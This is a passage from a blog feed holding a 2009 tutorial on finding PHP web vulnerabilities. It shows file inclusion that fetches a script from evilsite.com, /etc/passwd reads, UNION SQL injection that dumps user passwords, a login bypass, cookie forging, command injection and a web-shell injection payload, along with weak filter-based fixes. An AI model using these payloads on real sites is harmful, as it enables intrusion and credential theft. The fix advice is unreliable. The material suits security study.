src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3571804061700496218?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3571804061700496218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/agoko-cms-04-remote-commands-execution.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3571804061700496218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3571804061700496218'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/agoko-cms-04-remote-commands-execution.html' title='Agoko CMS &lt;= 0.4 remote commands execution exploit'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3654002713799350691</id><published>2009-09-12T05:33:00.000-07:00</published><updated>2009-09-12T05:36:15.478-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Finding vulnerabilities in PHP scripts FULL ( with examples )</title><content type='html'>Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) &lt;br /&gt;Author : SirGod&lt;br /&gt;Email : sirgod08[at]gmail[dot]com&lt;br /&gt;Contents : &lt;br /&gt;&lt;br /&gt; 1) About&lt;br /&gt; 2) Some stuff&lt;br /&gt; 3) Remote File Inclusion&lt;br /&gt;    3.0 - Basic example&lt;br /&gt;	3.1 - Simple example&lt;br /&gt;	3.2 - How to fix&lt;br /&gt; 4) Local File Inclusion&lt;br /&gt;    4.0 - Basic example&lt;br /&gt;	4.1 - Simple example&lt;br /&gt;	4.2 - How to fix&lt;br /&gt; 5) Local File Disclosure/Download&lt;br /&gt;    5.0 - Basic example&lt;br /&gt;	5.1 - Simple example&lt;br /&gt;	5.2 - How to fix&lt;br /&gt; 6) SQL Injection&lt;br /&gt;    6.0 - Basic example&lt;br /&gt;	6.1 - Simple example&lt;br /&gt;	6.2 - SQL Login Bypass&lt;br /&gt;	6.3 - How to fix&lt;br /&gt; 7) Insecure Cookie Handling&lt;br /&gt;    7.0 - Basic example&lt;br /&gt;	7.1 - Simple example&lt;br /&gt;	7.2 - How to fix&lt;br /&gt; 8) Remote Command Execution&lt;br /&gt;    8.0 - Basic example&lt;br /&gt;	8.1 - Simple example&lt;br /&gt;	8.2 - Advanced example&lt;br /&gt;	8.3 - How to fix&lt;br /&gt; 9) Remote Code Execution&lt;br /&gt;    9.0 - Basic example&lt;br /&gt;    9.1 - Simple example&lt;br /&gt;	9.2 - How to fix&lt;br /&gt; 10) Cross-Site Scripting&lt;br /&gt;    10.0 - Basic example&lt;br /&gt;    10.1 - Another example&lt;br /&gt;	10.2 - Simple example&lt;br /&gt;	10.3 - How to fix&lt;br /&gt; 11) Authentication Bypass&lt;br /&gt;    11.0 - Basic example&lt;br /&gt;    11.1 - Via login variable&lt;br /&gt;	11.2 - Unprotected Admin CP&lt;br /&gt;	11.3 - How to fix&lt;br /&gt; 12) Insecure Permissions&lt;br /&gt;    12.0 - Basic example&lt;br /&gt;    12.1 - Read the users/passwords&lt;br /&gt;	12.2 - Download backups&lt;br /&gt;	12.3 - INC files&lt;br /&gt;	12.4 - How to fix&lt;br /&gt; 13) Cross Site Request Forgery&lt;br /&gt;    13.0 - Basic example&lt;br /&gt;	13.1 - Simple example&lt;br /&gt;	13.2 - How to fix&lt;br /&gt; 14) Shoutz&lt;br /&gt; &lt;br /&gt;  &lt;br /&gt;     1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain&lt;br /&gt;	   how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the &lt;br /&gt;	   examples without the basic example of each category was founded in different scripts.&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;     2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.&lt;br /&gt;	You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions&lt;br /&gt;    to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what&lt;br /&gt;    configuration I use and why :&lt;br /&gt;&lt;br /&gt;   safe_mode = off ( a lot of shit cannot be done with this on )&lt;br /&gt;   disabled_functions = N/A ( no one,we want all )&lt;br /&gt;   register_globals = on ( we can set variables by request )&lt;br /&gt;   allow_url_include = on ( for lfi/rfi )&lt;br /&gt;   allow_url_fopen = on ( for lfi/rfi )&lt;br /&gt;   magic_quotes_gpc = off ( this will escape ' "  \  and NUL's  with a backslash and we don't want that )&lt;br /&gt;   short_tag_open = on ( some scripts are using short tags,better on ) &lt;br /&gt;   file_uploads = on ( we want to upload )&lt;br /&gt;   display_errors = on ( we want to see the script errors,maybe some undeclared variables? )&lt;br /&gt; &lt;br /&gt;      How to proceed : First,create a database to be used by different scripts.Install the script on&lt;br /&gt;    localhost and start the audit over the source code.If you found something open the web browser and&lt;br /&gt;    test it,maybe you are wrong.&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;     3) Remote File Inclusion&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	     - Tips : You can use the NULLBYTE and ? trick.&lt;br /&gt;		          You can use HTTPS and FTP to bypass filters ( http filtered )&lt;br /&gt;		 &lt;br /&gt;	 &lt;br /&gt;	   In PHP is 4 functions through you can include code.&lt;br /&gt;&lt;br /&gt;         require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.&lt;br /&gt;         require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.&lt;br /&gt;         include - includes and evaluates the specified file.&lt;br /&gt;         include_once -  includes and evaluates the specified file during the execution of the script.	 &lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	   3.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so&lt;br /&gt;		  you can use "https" or "ftp".&lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from test.php&lt;br /&gt;		  &lt;br /&gt;		 -----------------------------------------------&lt;br /&gt;		 &lt;?php&lt;br /&gt;		 $pagina=$_GET['pagina'];&lt;br /&gt;		 include $pagina;&lt;br /&gt;		 ?&gt;&lt;br /&gt;		 -----------------------------------------------&lt;br /&gt;		 &lt;br /&gt;		 - If we access the page we got some errors and some warnings( not pasted ) :&lt;br /&gt;		 &lt;br /&gt;		 Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2&lt;br /&gt;&lt;br /&gt;        - We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example : &lt;br /&gt;		&lt;br /&gt;		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt&lt;br /&gt;			 &lt;br /&gt;			Now I will show why some people use ? and %00 after the link to the evil script.&lt;br /&gt;			&lt;br /&gt;		  # The "%00"&lt;br /&gt;&lt;br /&gt;		 - Code snippet from test.php&lt;br /&gt;		  &lt;br /&gt;		 -----------------------------------------------&lt;br /&gt;		 &lt;?php&lt;br /&gt;         $pagina=$_GET['pagina'];&lt;br /&gt;         include $pagina.'.php';&lt;br /&gt;         ?&gt;&lt;br /&gt;		 -----------------------------------------------&lt;br /&gt;		 &lt;br /&gt;		  - So if we will request &lt;br /&gt;		  &lt;br /&gt;		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt&lt;br /&gt;		  &lt;br /&gt;		  Will not work because the script will try to include http://evilsite.com/evilscript.txt.php&lt;br /&gt;		  &lt;br /&gt;		  So we will add a NULLBYTE ( %00 ) and all the shit after nullbyte will not be taken in&lt;br /&gt;		  consideration.Example : &lt;br /&gt;		  &lt;br /&gt;		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00&lt;br /&gt;			 &lt;br /&gt;		 The script will successfully include our evilscript and will throw to junk the things&lt;br /&gt;		 after the nullbyte.&lt;br /&gt;		 &lt;br /&gt;		  # The "?"&lt;br /&gt;		 &lt;br /&gt;		 	- Code snippet from test.php&lt;br /&gt;		  &lt;br /&gt;		 -----------------------------------------------&lt;br /&gt;		 &lt;?php&lt;br /&gt;         $pagina=$_GET['pagina'];&lt;br /&gt;         include $pagina.'logged=1';&lt;br /&gt;         ?&gt;&lt;br /&gt;		 -----------------------------------------------&lt;br /&gt;		 &lt;br /&gt;		   And the logged=1 will become like a variable.But better use nullbyte.Example : &lt;br /&gt;		   &lt;br /&gt;		     http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1&lt;br /&gt;			 &lt;br /&gt;		  The evilscript will be included succesfully.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   3.1 - Simple example	 &lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	       Now an example from a script.&lt;br /&gt;		   &lt;br /&gt;		    - Code snippet from index.php&lt;br /&gt;			&lt;br /&gt;		 ----------------------------------------------------&lt;br /&gt;			        if (isset($_REQUEST["main_content"])){&lt;br /&gt;            $main_content = $_REQUEST["main_content"];&lt;br /&gt;         } else if (isset($_SESSION["main_content"])){&lt;br /&gt;            $main_content = $_SESSION["main_content"];&lt;br /&gt;         }&lt;br /&gt;		   .......................etc..................&lt;br /&gt;		           ob_start();&lt;br /&gt;          require_once($main_content);&lt;br /&gt;		 ----------------------------------------------------&lt;br /&gt;		 &lt;br /&gt;		    We can see that "main_content" variable is requested by $_REQUEST method.The attacker can &lt;br /&gt;		set any value that he want. Below the "main_content" variable is include.So if we make the&lt;br /&gt;		following request :&lt;br /&gt;		&lt;br /&gt;		     http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt&lt;br /&gt;			 &lt;br /&gt;		  Our evil script will be successfully included.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   3.2 - How to fix&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	       Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .&lt;br /&gt;		   Another way : filter "http" , "https" , "ftp" and "smb".&lt;br /&gt;			 &lt;br /&gt;     &lt;br /&gt;	 4) Local File Inclusion&lt;br /&gt;	 &lt;br /&gt;	&lt;br /&gt;	      - Tips : You can use the NULLBYTE and ? trick.&lt;br /&gt;		         ../ mean a directory up&lt;br /&gt;				 On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).&lt;br /&gt;	 &lt;br /&gt;	   The same functions which let you to include (include,include_once,require,require_once) .&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	   4.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;		  &lt;br /&gt;		   - Code snippet from test.php&lt;br /&gt;		   &lt;br /&gt;		   -----------------------------------&lt;br /&gt;		    &lt;?php&lt;br /&gt;		    $pagina=$_GET['pagina'];&lt;br /&gt;		    include '/pages/'.$pagina;&lt;br /&gt;		    ?&gt;&lt;br /&gt;		   -----------------------------------&lt;br /&gt;		   &lt;br /&gt;		     Now,we can not include our script because we can not include remote files.We can include only&lt;br /&gt;			local files as you see.So if we make the following request : &lt;br /&gt;	   &lt;br /&gt;	           http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd&lt;br /&gt;			   &lt;br /&gt;			 The script will include "/pages/../../../../../../etc/passwd" successfully.&lt;br /&gt;			 &lt;br /&gt;             You can use the %00 and ? .The same story.		&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	   4.1 - Simple example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from install/install.php&lt;br /&gt;		  &lt;br /&gt;		  -------------------------------------&lt;br /&gt;		   if(empty($_GET["url"]))&lt;br /&gt;  	       $url = 'step_welcome.php';&lt;br /&gt;           else&lt;br /&gt;  	       $url = $_GET["url"];&lt;br /&gt;		   .............etc.............&lt;br /&gt;		   &lt;p&gt;&lt;? include('step/'.$url) ?&gt;&lt;/p&gt;&lt;br /&gt;		  -------------------------------------&lt;br /&gt;		  &lt;br /&gt;		    We can see that "url" variable is injectable.If the "url" variable is not set&lt;br /&gt;		   (is empty) the script will include "step_welcome.php" else will include the &lt;br /&gt;		   variable set by the attacker.&lt;br /&gt;		   &lt;br /&gt;		    So if we do the following request : &lt;br /&gt;			&lt;br /&gt;			  http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd&lt;br /&gt;			  &lt;br /&gt;			The "etc/passwd" file will be succesfully included.&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	   4.2 - How to fix&lt;br /&gt;	    &lt;br /&gt;		&lt;br /&gt;		    Simple way : Don't allow special chars in variables.Simple way : filter the dot "." &lt;br /&gt;			Another way : Filter "/" , "\" and "." .&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	 5) Local File Disclosure/Download	  &lt;br /&gt;	  &lt;br /&gt;	  &lt;br /&gt;	      - Tips : Through this vulnerability you can read the content of files,not include.&lt;br /&gt;		 &lt;br /&gt;		 Some functions which let you to read files :&lt;br /&gt;		 &lt;br /&gt;		   file_get_contents — Reads entire file into a string&lt;br /&gt;		   readfile — Outputs a file&lt;br /&gt;		   file — Reads entire file into an array&lt;br /&gt;		   fopen — Opens file or URL&lt;br /&gt;		   highlight_file — Syntax highlighting of a file.Prints out or returns a syntax &lt;br /&gt;		                  highlighted version of the code contained in filename using the&lt;br /&gt;						  colors defined in the built-in syntax highlighter for PHP.&lt;br /&gt;		   show_source — Alias of highlight_file()&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;       5.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from test.php &lt;br /&gt;		  &lt;br /&gt;		  --------------------------------------&lt;br /&gt;		   &lt;?php&lt;br /&gt;		   $pagina=$_GET['pagina'];&lt;br /&gt;		   readfile($pagina); &lt;br /&gt;		   ?&gt;&lt;br /&gt;		   --------------------------------------&lt;br /&gt;		   &lt;br /&gt;		    The readfile() function will read the content of the specified file.So if we do the following request :&lt;br /&gt;			&lt;br /&gt;		     http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd&lt;br /&gt;			 &lt;br /&gt;			The content of etc/passwd will be outputed NOT included.&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	   5.1 - Simple example&lt;br /&gt;&lt;br /&gt;              			&lt;br /&gt;		   - Code snippet from download.php&lt;br /&gt;		   &lt;br /&gt;		  -----------------------------------------------------------------------------------&lt;br /&gt;		  $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];&lt;br /&gt;		  header("Pragma: public");&lt;br /&gt;		  header("Expires: 0");&lt;br /&gt;		  header("Cache-Control: must-revalidate, post-check=0, pre-check=0");&lt;br /&gt;&lt;br /&gt;		  header("Content-Type: application/force-download");&lt;br /&gt;		  header( "Content-Disposition: attachment; filename=".basename($file));&lt;br /&gt;&lt;br /&gt;		  //header( "Content-Description: File Transfer");&lt;br /&gt;		  @readfile($file);&lt;br /&gt;		  die();&lt;br /&gt;		  -----------------------------------------------------------------------------------&lt;br /&gt;		  &lt;br /&gt;		    The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.&lt;br /&gt;		  And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.&lt;br /&gt;		    If we make the following request : &lt;br /&gt;		  &lt;br /&gt;		      http://127.0.0.1/download.php?file=../../../../../../etc/passwd&lt;br /&gt;		  &lt;br /&gt;		  So we can succesfully read the "etc/passwd" file.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   5.2 - How to fix&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;		    Simple way : Don't allow special chars in variables.Simple way : filter the dot "." &lt;br /&gt;			Another way : Filter "/" , "\" and "." .&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	 6) SQL Injection&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	      - Tips : If the user have file privileges you can read files.&lt;br /&gt;		           If the user have file privileges and you find a writable directory and magic_quotes_gpc = off&lt;br /&gt;				  you can upload you code into a file.&lt;br /&gt;&lt;br /&gt;       &lt;br /&gt;       6.0 - Basic example	&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from test.php&lt;br /&gt;		  &lt;br /&gt;		  ----------------------------------------------------------------------------------&lt;br /&gt;		  &lt;?php&lt;br /&gt;		  $id = $_GET['id'];&lt;br /&gt;          $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");&lt;br /&gt;		  ?&gt;&lt;br /&gt;		  ----------------------------------------------------------------------------------&lt;br /&gt;		  &lt;br /&gt;		   The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :&lt;br /&gt;		 &lt;br /&gt;		    http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--&lt;br /&gt;			&lt;br /&gt;		  And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have&lt;br /&gt;		  file privileges.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   6.1 - Simple example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	        - Code snippet from house/listing_view.php&lt;br /&gt;			&lt;br /&gt;			-----------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;			$id = $_GET['itemnr'];&lt;br /&gt;            require_once($home."mysqlinfo.php");&lt;br /&gt;            $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";&lt;br /&gt;            $result = mysql_query($query);&lt;br /&gt;			if(mysql_num_rows($result)){&lt;br /&gt;			$r = mysql_fetch_array($result);&lt;br /&gt;			-----------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;			&lt;br /&gt;			 We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.&lt;br /&gt;			 So we can inject our code.Lets make a request : &lt;br /&gt;			 &lt;br /&gt;			   http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--&lt;br /&gt;			&lt;br /&gt;			 And we get the email and the password from the users table.&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	   6.2 - SQL Injection Login Bypass&lt;br /&gt;		&lt;br /&gt;		&lt;br /&gt;		   - Code snippet from /admin/login.php&lt;br /&gt;		   &lt;br /&gt;		   ------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;		    $postbruger = $_POST['username'];&lt;br /&gt;            $postpass = md5($_POST['password']); &lt;br /&gt;            $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'") &lt;br /&gt;            or die("&lt;p&gt;" . mysql_error() . "&lt;/p&gt;\n");&lt;br /&gt;            ------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;		   &lt;br /&gt;		    The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :&lt;br /&gt;			&lt;br /&gt;			  username : admin ' or ' 1=1&lt;br /&gt;			  password : sirgod&lt;br /&gt;			  &lt;br /&gt;			We logged in.Why?Look,the code will become &lt;br /&gt;			&lt;br /&gt;			---------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;			$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1  AND password = 'sirgod'") &lt;br /&gt;			---------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;			&lt;br /&gt;			Login bypassed.The username must be an existent username.&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	   6.3 - How to fix&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;		    Simple way : Don't allow special chars in variables.For numeric variables&lt;br /&gt;			            use (int) ,example $id=(int)$_GET['id']; &lt;br /&gt;			Another way : For non-numeric variables : filter all special chars used in&lt;br /&gt;            			 SQLI : - , . ( ) ' " _ + / * &lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;	 7) Insecure Cooke Handling&lt;br /&gt;	 &lt;br /&gt;	    &lt;br /&gt;		 - Tips : Write the code in the URLbar,don't use a cookie editor for this.&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	   7.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from test.php&lt;br /&gt;		  &lt;br /&gt;		---------------------------------------------------------------&lt;br /&gt;		if($_POST['password'] == $thepass) {&lt;br /&gt;		setcookie("is_user_logged","1");&lt;br /&gt;		} else { die("Login failed!"); }&lt;br /&gt;		............ etc .................&lt;br /&gt;		if($_COOKIE['is_user_logged']=="1")&lt;br /&gt;		 { include "admin.php"; else { die('not logged'); }&lt;br /&gt;		---------------------------------------------------------------&lt;br /&gt;		&lt;br /&gt;		  Something interesting here.If we set to the "is_user_logged" variable&lt;br /&gt;		 from cookie value "1" we are logged in.Example :&lt;br /&gt;		 &lt;br /&gt;		 javascript:document.cookie = "is_user_logged=1; path=/";&lt;br /&gt;		 &lt;br /&gt;		 So practically we are logged in,we pass the check and we can access the admin panel.&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	   7.1 - Simple example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	    - Code snippet from admin.php&lt;br /&gt;		&lt;br /&gt;		----------------------------------------------------------------&lt;br /&gt;		if ($_COOKIE[PHPMYBCAdmin] == '') {&lt;br /&gt;		if (!$_POST[login] == 'login') {&lt;br /&gt;		die("Please Login:&lt;BR&gt;&lt;form method=post&gt;&lt;input type=password&lt;br /&gt;		name=password&gt;&lt;input type=hidden value=login name=login&gt;&lt;input&lt;br /&gt;		type=submit&gt;&lt;/form&gt;");&lt;br /&gt;		} elseif($_POST[password] == $bcadminpass) {&lt;br /&gt;		setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);&lt;br /&gt;		header("Location: admin.php"); } else { die("Incorrect"); }&lt;br /&gt;		}&lt;br /&gt;		----------------------------------------------------------------	&lt;br /&gt;			&lt;br /&gt;		  Code looks exploitable.We can set a cookie value that let us to bypass the login&lt;br /&gt;		 and tell to the script that we are already logged in.Example : &lt;br /&gt;		 &lt;br /&gt;		 javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";&lt;br /&gt;		 &lt;br /&gt;		  What is 1246371700? Is the current time() echo'ed + 360.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   7.2 - How to fix &lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	        Simple way : The most simple and eficient way : use SESSIONS .&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	 8) Remote Command Execution&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	     - Tips : If in script is used exec() you can't see the command output(but the command is executed)&lt;br /&gt;         until the result isn't echo'ed from script.&lt;br /&gt;		          You can use AND operator ( || ) if the script execute more than one command .&lt;br /&gt;	 &lt;br /&gt;	   In PHP are some functions that let you to execute commands :&lt;br /&gt; &lt;br /&gt;       exec — Execute an external program&lt;br /&gt;       passthru — Execute an external program and display raw output&lt;br /&gt;       shell_exec — Execute command via shell and return the complete output as a string&lt;br /&gt;       system — Execute an external program and display the output&lt;br /&gt;		&lt;br /&gt;		&lt;br /&gt;	   8.0 - Basic example&lt;br /&gt;	&lt;br /&gt;	     - Code snippet from test.php&lt;br /&gt;		 &lt;br /&gt;		 ---------------------------------&lt;br /&gt;		 &lt;?php&lt;br /&gt;		 $cmd=$_GET['cmd'];&lt;br /&gt;		 system($cmd);&lt;br /&gt;		 ?&gt;&lt;br /&gt;		 ---------------------------------&lt;br /&gt;		 &lt;br /&gt;		 So if we make the following request : &lt;br /&gt;		 &lt;br /&gt;		  http://127.0.0.1/test.php?cmd=whoami&lt;br /&gt;		  &lt;br /&gt;		The command will be executed and the result will be outputed.&lt;br /&gt;		&lt;br /&gt;		&lt;br /&gt;	   8.1 - Simple example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	     - Code snippet from dig.php&lt;br /&gt;		 &lt;br /&gt;		    -------------------------------------------------------------------------------------------&lt;br /&gt;		    $status = $_GET['status'];&lt;br /&gt;		    $ns  = $_GET['ns'];&lt;br /&gt;		    $host   = $_GET['host'];&lt;br /&gt;		    $query_type   = $_GET['query_type']; // ANY, MX, A , etc.&lt;br /&gt;		    $ip     = $_SERVER['REMOTE_ADDR'];&lt;br /&gt;		    $self   = $_SERVER['PHP_SELF'];&lt;br /&gt;		    ........................ etc ........................&lt;br /&gt;		    $host = trim($host);&lt;br /&gt;		    $host = strtolower($host);&lt;br /&gt;		    echo("&lt;span class=\"plainBlue\"&gt;&lt;b&gt;Executing : &lt;u&gt;dig @$ns $host $query_type&lt;/u&gt;&lt;/b&gt;&lt;br&gt;");&lt;br /&gt;		    echo '&lt;pre&gt;';&lt;br /&gt;	        system ("dig @$ns $host $query_type");&lt;br /&gt;			-------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;			 The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command&lt;br /&gt;           that he want through this variable.&lt;br /&gt;		   &lt;br /&gt;		     Lets make a request :&lt;br /&gt;			 &lt;br /&gt;			  http://127.0.0.1/dig.php?ns=whoam&amp;host=sirgod.net&amp;query_type=NS&amp;status=digging&lt;br /&gt;			  &lt;br /&gt;			 The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and&lt;br /&gt;			will not work of course.Lets do something a little bit tricky.We have the AND operator&lt;br /&gt;			( || ) and we will use it to separe the commands.Example :&lt;br /&gt;		 &lt;br /&gt;		      http://127.0.0.1/dig.php?ns=||whoami||&amp;host=sirgod.net&amp;query_type=NS&amp;status=digging&lt;br /&gt;	  &lt;br /&gt;	        Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".&lt;br /&gt;			&lt;br /&gt;&lt;br /&gt;       8.2 - Advanced example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from add_reg.php&lt;br /&gt;		  &lt;br /&gt;		  -------------------------------------------------------&lt;br /&gt;		  $user = $_POST['user'];&lt;br /&gt;		  $pass1 = $_POST['pass1'];&lt;br /&gt;		  $pass2 = $_POST['pass2'];&lt;br /&gt;		  $email1 = $_POST['email1'];&lt;br /&gt;		  $email2 = $_POST['email2'];&lt;br /&gt;		  $location = $_POST['location'];&lt;br /&gt;		  $url = $_POST['url'];&lt;br /&gt;		  $filename = "./sites/".$user.".php";&lt;br /&gt;		  ...................etc......................&lt;br /&gt;		  $html = "&lt;?php&lt;br /&gt;		  \$regdate = \"$date\";&lt;br /&gt;		  \$user = \"$user\";&lt;br /&gt;		  \$pass = \"$pass1\";&lt;br /&gt;		  \$email = \"$email1\";&lt;br /&gt;		  \$location = \"$location\";&lt;br /&gt;		  \$url = \"$url\";&lt;br /&gt;		  ?&gt;";&lt;br /&gt;		  $fp = fopen($filename, 'a+');&lt;br /&gt;		  fputs($fp, $html) or die("Could not open file!");&lt;br /&gt;		  -------------------------------------------------------&lt;br /&gt;       	 &lt;br /&gt;		  We can see that the script creates a php file in "sites" directory( ourusername.php ).&lt;br /&gt;          The script save all the user data in that file so we can inject our evil code into one&lt;br /&gt;         field,I choose the "location" variable.&lt;br /&gt;		 &lt;br /&gt;		  So if we register as an user with the location (set the "location" value) :&lt;br /&gt; &lt;br /&gt;            &lt;?php system($_GET['cmd']); ?&gt;&lt;br /&gt;&lt;br /&gt;         the code inside sites/ourusername.php will become :&lt;br /&gt;		 &lt;br /&gt;           -------------------------------------------------&lt;br /&gt;           &lt;?php&lt;br /&gt;           $regdate = "13 June 2009, 4:16 PM";&lt;br /&gt;           $user = "pwned";&lt;br /&gt;           $pass = "pwned";&lt;br /&gt;           $email = "pwned@yahoo.com";&lt;br /&gt;           $location = "&lt;?php system($_GET['cmd']); ?&gt;";&lt;br /&gt;           $url = "http://google.ro";&lt;br /&gt;           ?&gt;&lt;br /&gt;		   -------------------------------------------------&lt;br /&gt;&lt;br /&gt;          So we will get an parse error.Not good.We must inject a proper code to get the result that we want.&lt;br /&gt; &lt;br /&gt;         Lets inject this code :&lt;br /&gt; &lt;br /&gt;            \";?&gt;&lt;?php system(\$_GET['cmd']);?&gt;&lt;?php \$xxx=\":D&lt;br /&gt; &lt;br /&gt;         So the code inside sites/ourusername.php will become :&lt;br /&gt;		 &lt;br /&gt;           --------------------------------------------------------------&lt;br /&gt;           &lt;?php&lt;br /&gt;           $regdate = "13 June 2009, 4:16 PM";&lt;br /&gt;           $user = "pwned";&lt;br /&gt;           $pass = "pwned";&lt;br /&gt;           $email = "pwned@yahoo.com";&lt;br /&gt;           $location = "";?&gt;&lt;?php system($_GET['cmd']);?&gt;&lt;?php $xxx=":D";&lt;br /&gt;           $url = "http://google.ro";&lt;br /&gt;           ?&gt; &lt;br /&gt;		   --------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;         and we will have no error.Why?See the code :&lt;br /&gt; &lt;br /&gt; 	      $location = "";?&gt;&lt;?php system($_GET['cmd']);?&gt;&lt;?php $xxx=":D";&lt;br /&gt;		  &lt;br /&gt;         Lets split it :&lt;br /&gt; &lt;br /&gt;         -------------------------------&lt;br /&gt;         $location = "";&lt;br /&gt;         ?&gt;&lt;br /&gt;         &lt;?php system($_GET['cmd']);?&gt;&lt;br /&gt;         &lt;?php $xxx=":D";&lt;br /&gt;		 -------------------------------&lt;br /&gt;&lt;br /&gt;           We set the location value to "",close the first php tags,open the tags&lt;br /&gt;          again,wrote our evil code,close the tags and open other and add a variable&lt;br /&gt;          "xxx" because we dont want any error.I wrote that code because I want no &lt;br 